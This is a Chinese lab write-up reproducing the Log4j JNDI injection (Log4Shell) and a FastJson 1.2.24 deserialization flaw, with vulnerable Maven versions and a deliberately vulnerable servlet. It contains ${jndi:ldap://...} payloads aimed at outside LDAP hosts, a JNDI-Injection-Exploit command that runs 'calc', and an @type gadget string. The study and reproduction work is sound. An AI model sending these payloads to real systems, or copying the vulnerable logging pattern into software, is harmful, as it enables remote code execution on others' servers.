时间轴:
演示案例:
Java-三方组件-Log4J&JNDI
Java-三方组件-FastJson&反射
Maven的下载及配置:
IDEA配置Maven的超具体步骤_java_脚本之家 Java-三方组件-Log4J&JNDI
JNDI 注入: ( 见图 ) Java Naming and Directory Interface (Java 定名和目录接口 ) , JNDI 提 供统一的客户端 API ,通过差别的服务供应接口 (SPI) 的实现,由管理者将 JNDI API 映射为特定的定名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些定名 服务和目录服务之间的交互。 #Java- 三方组件 -Log4J&JNDI Log4J : Apache 的一个开源项目,通过使用 Log4j ,我们可以控制日志信息运送的目的地是控制 台、文件、 GUI 组件,乃至是套接口服务器、 NT 的事件记录器、 UNIX Syslog 保卫进 程等;我们也可以控制每一条日志的输出格式;通过界说每一条日志信息的级别,我们能 够更加细致地控制日志的天生过程。最令人感爱好的就是,这些可以通过一个配置文件来 灵活地进行配置,而不必要修改应用的代码。 Log4j- 组件安全复现 1 、 Maven 引用 Log4j 2 、继承用户输入值 3 、 Log4j 处理错误输入 4 、使用 jndi-ldap 实验 Test: String code="test"; String code="${java s}"; logger.error("{}",code); String exp="${jndi:ldap://xx.xx.xx.xx:xx/xxx}"; 服务器: java -jar JNDI-Injection-Exploit.jar -C "calc" -A xx.xx.xx.xx 1.创建新项目
2.log4j组件的导入
Jar 仓库: https://mvnrepos - <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
- <dependency>
- <groupId>org.apache.logging.log4j</groupId>
- <artifactId>log4j-core</artifactId>
- <version>2.14.1</version>
- </dependency>
复制代码 https://mvnrepos 搜刮log4j,选择第一个
进入后选择2.1.4
复制其maven
maven代码:
- <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
- <dependency>
- <groupId>org.apache.logging.log4j</groupId>
- <artifactId>log4j-core</artifactId>
- <version>2.14.1</version>
- </dependency>
复制代码
点击上面的
会在外部多加两个库:
改为2.14.0的话,自动会酿成2.14.0的包 Log4jTest:
- import org.apache.logging.log4j.LogManager;
- import org.apache.logging.log4j.Logger;
- public class Log4jTest {
- //使用Log4j 实现错误日志输出
- private static final Logger logger = LogManager.getLogger(Log4jTest.class);
- public static void main(String[] args) {
- //如果这个code变量是可控的
- String code="${java:os}";
- logger.error("{}",code);
- }
- }
复制代码
Logger选择此项:
正常情况运行的话:
使用Log4j 实现错误日志输出:
os的意思是体系的意思。 vm是java的假造器 测试毛病
创建一个新项目Log4jWebDemo,在下面创建一个Log4jServlet。 将log4j的包导入进web.xml去(和上面的方法一样) Log4jServlet: - package com.example.log4jwebdemo;
- import org.apache.logging.log4j.LogManager;
- import org.apache.logging.log4j.Logger;
- import javax.servlet.ServletException;
- import javax.servlet.annotation.WebServlet;
- import javax.servlet.http.HttpServlet;
- import javax.servlet.http.HttpServletRequest;
- import javax.servlet.http.HttpServletResponse;
- import java.io.IOException;
- @WebServlet("/log4j")
- public class Log4jServlet extends HttpServlet {
- //构造HTTP Web服务 使用带漏洞Log4j版本 实现功能
- private static final Logger log= LogManager.getLogger(Log4jServlet.class);
- @Override
- protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
- String code =req.getParameter("code");
- log.error("{}",code);
- }
- }
复制代码 使用http://localhost:8080/Log4jWebDemo_war_exploded/log4j?code={$java s}
正常情况:(在最下面能看到体系)
当遇到一下情况时:
借助文章: 从0到1java安全5_jndi-injection-exploit-1.0-snapshot-all.jar-CSDN博客 在tomcat下的./conf/service.xml 中重写Connector这个地方 。 - <Connector port="8080" protocol="HTTP/1.1"
- connectionTimeout="30000"
- maxThreads="800"
- minSpareThreads="50"
- redirectPort="8443"
- URIEncoding="ISO-8859-1"
- relaxedQueryChars="[,],|,{,},^,\,`,",<,>"/>
复制代码 版权声明:本文为博主原创文章,遵照 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
原文链接:从0到1java安全5_jndi-injection-exploit-1.0-snapshot-all.jar-CSDN博客
网上毛病注入:
Log4j高危毛病原理及复现_log4j毛病修复-CSDN博客 JNDI&RMI&LDAP介绍+log4j分析_jdbc-ldap-CSDN博客 使用xshell天生JNDI进行毛病注入:
为什么使用JNDI?原因如下: 使用xshell进行操作: - 1.先更新源
- sudo apt update
- 2.安装java
- sudo apt install default-jre
- 3.切换到目录
- cd /
- 4.使用java打开jar文件
- java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
复制代码
下面使用的ip为linux的ip
使用 - java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 47.239.89.173
复制代码 留意使用版本jdk必须小于jdk8u 121,本人使用112
 使用网址 localhost:8080/Log4jWebDemo_war_exploded/log4j?code=${jndi:ldap://47.239.120.145:1389/tv9lqn} 得到结果如下:(但不知为何没弹出计算器,其他dnslog.cn都可以用)  完备代码: - package com.example.log4jwebdemo;
- import org.apache.logging.log4j.LogManager;
- import org.apache.logging.log4j.Logger;
- import javax.servlet.ServletException;
- import javax.servlet.annotation.WebServlet;
- import javax.servlet.http.HttpServlet;
- import javax.servlet.http.HttpServletRequest;
- import javax.servlet.http.HttpServletResponse;
- import java.io.IOException;
- @WebServlet("/log4j")
- public class Log4jServlet extends HttpServlet {
- //构造HTTP Web服务 使用带漏洞Log4j版本 实现功能
- private static final Logger log= LogManager.getLogger(Log4jServlet.class);
- @Override
- protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
- String code =req.getParameter("code");
- //code=$(java:os) 输出执行结果
- //code=(java:os) 正常输入
- //${jndi:ldap://47.94.236.117:1389/uyhyw6}
- //${jndi:ldap://xxxx.dns.log}
- //ldap://47.94.236.117:1389/uyhyw6 生成的远程可访问的调用方法
- //什么方法? -C "calc" 执行计算机的功能方法(JNDI注入工具生成的)
- log.error("{}",code);
- //1、开发源码中引用漏洞组件如log4j
- //2、开发中使用组件的代码(触发漏洞代码)
- //3、可控变量去传递Payload来实现攻击
- }
- }
复制代码 Java-三方组件-FastJson&反射
FastJson : 在前后端数据传输交互中 , 经常会遇到字符串 (String) 与 json,XML 等格式相互转换与 解析,此中 json 以跨语言,跨前后端的优点在开辟中被频仍使用,基本上是标准的数据 互换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互, Web 输出等各 种应用场景中。 FastJson 是阿里巴巴的的开源库,用于对 JSON 格式的数据进行解析和 1.创建FastjsonDemo: 2.配置Fastjson: https://mvnrepository.com/ 版本: 1.2.24 - <!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
- <dependency>
- <groupId>com.alibaba</groupId>
- <artifactId>fastjson</artifactId>
- <version>1.2.24</version>
- </dependency>
复制代码 创建软件包com.xiaodi:
创建User: - package com.xiaodi;
- //给fastjson数据转换测试用的
- public class User {
- private String name;
- private Integer age;
- public Integer getAge() {
- return age;
- }
- public String getName() {
- return name;
- }
- public void setAge(Integer age) {
- this.age = age;
- System.out.println(age);
- }
- public void setName(String name) {
- this.name = name;
- System.out.println(name);
- }
- }
复制代码 创建Fastjson
- package com.xiaodi;
- import com.alibaba.fastjson.JSON;
- import com.alibaba.fastjson.JSONObject;
- import com.alibaba.fastjson.serializer.SerializerFeature;
- //使用fastjson去处理User类数据
- public class FastjsonTest {
- public static void main(String[] args) {
- //u Object对象
- //Integer age String name 字符串数据
- User u = new User();
- u.setAge(30);
- u.setName("xiaodi");
- //System.out.println(u);
- //我们想把数据转换成Json格式数据,我不想用自带的API(太麻烦)
- //我就选择第三方组件fastjson来去做这个功能
- //讲json对象转换json数据
- String jsonString = JSONObject.toJSONString(u);
- System.out.println("这就是json格式:"+jsonString);
- }
- }
复制代码 使用json格式输出时间:
Fastjson毛病造成:
当json转换为对象的时间,翻译从User改为Run从而调用错误。
String test = "{\"@type\":\"com.xiaodi.User\",\"age\":30,\"name\":\"xiaodi\"}";
String test = "{\"@type\":\"com.xiaodi.Run\",\"age\":30,\"name\":\"xiaodi\"}"; - package com.xiaodi;
- import com.alibaba.fastjson.JSON;
- import com.alibaba.fastjson.JSONObject;
- import com.alibaba.fastjson.serializer.SerializerFeature;
- //使用fastjson去处理User类数据
- public class FastjsonTest {
- public static void main(String[] args) {
- //u Object对象
- //Integer age String name 字符串数据
- User u = new User();
- u.setAge(30);
- u.setName("xiaodi");
- //System.out.println(u);
- //我们想把数据转换成Json格式数据,我不想用自带的API(太麻烦)
- //我就选择第三方组件fastjson来去做这个功能
- //讲json对象转换json数据
- // String jsonString = JSONObject.toJSONString(u);
- // System.out.println("这就是json格式:"+jsonString);
- //分析漏洞利用 多输出 转换数据的类型(类) 告诉大家其实前面有一个@type 转换对象类包
- // String jsonString1 = JSONObject.toJSONString(u, SerializerFeature.WriteClassName);
- // System.out.println(jsonString1);
- //上述对象 -> JSON
- //下面JSON -> 对象
- //String test = "{"@type":"com.xiaodi.User","age":30,"name":"xiaodi"}";
- String test = "{"@type":"com.xiaodi.Run","age":30,"name":"xiaodi"}";
- //实战中com.xiaodi.Run 我们不知道 固定调用
- //rmi ldap 去触发远程的class 执行代码(RCE)
- JSONObject jsonObject = JSON.parseObject(test);
- System.out.println(jsonObject);
- }
- }
复制代码 
毛病exp文章:
fastjson1.2.24 反序列化导致恣意下令实验毛病(CVE-2017-18349)_fastjson<= 1.2.24 反序列化导致恣意下令实验毛病(cve-2017-18349)-CSDN博客 使用dnslog.cn来判断毛病; Fastjson 1.2.47 反序列化(CVE-2017-18349)毛病复现_毛病复现 fastjson1.2.47反序列化毛病-CSDN博客 本文章由李豆豆喵和番薯小羊卷~共同完成。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |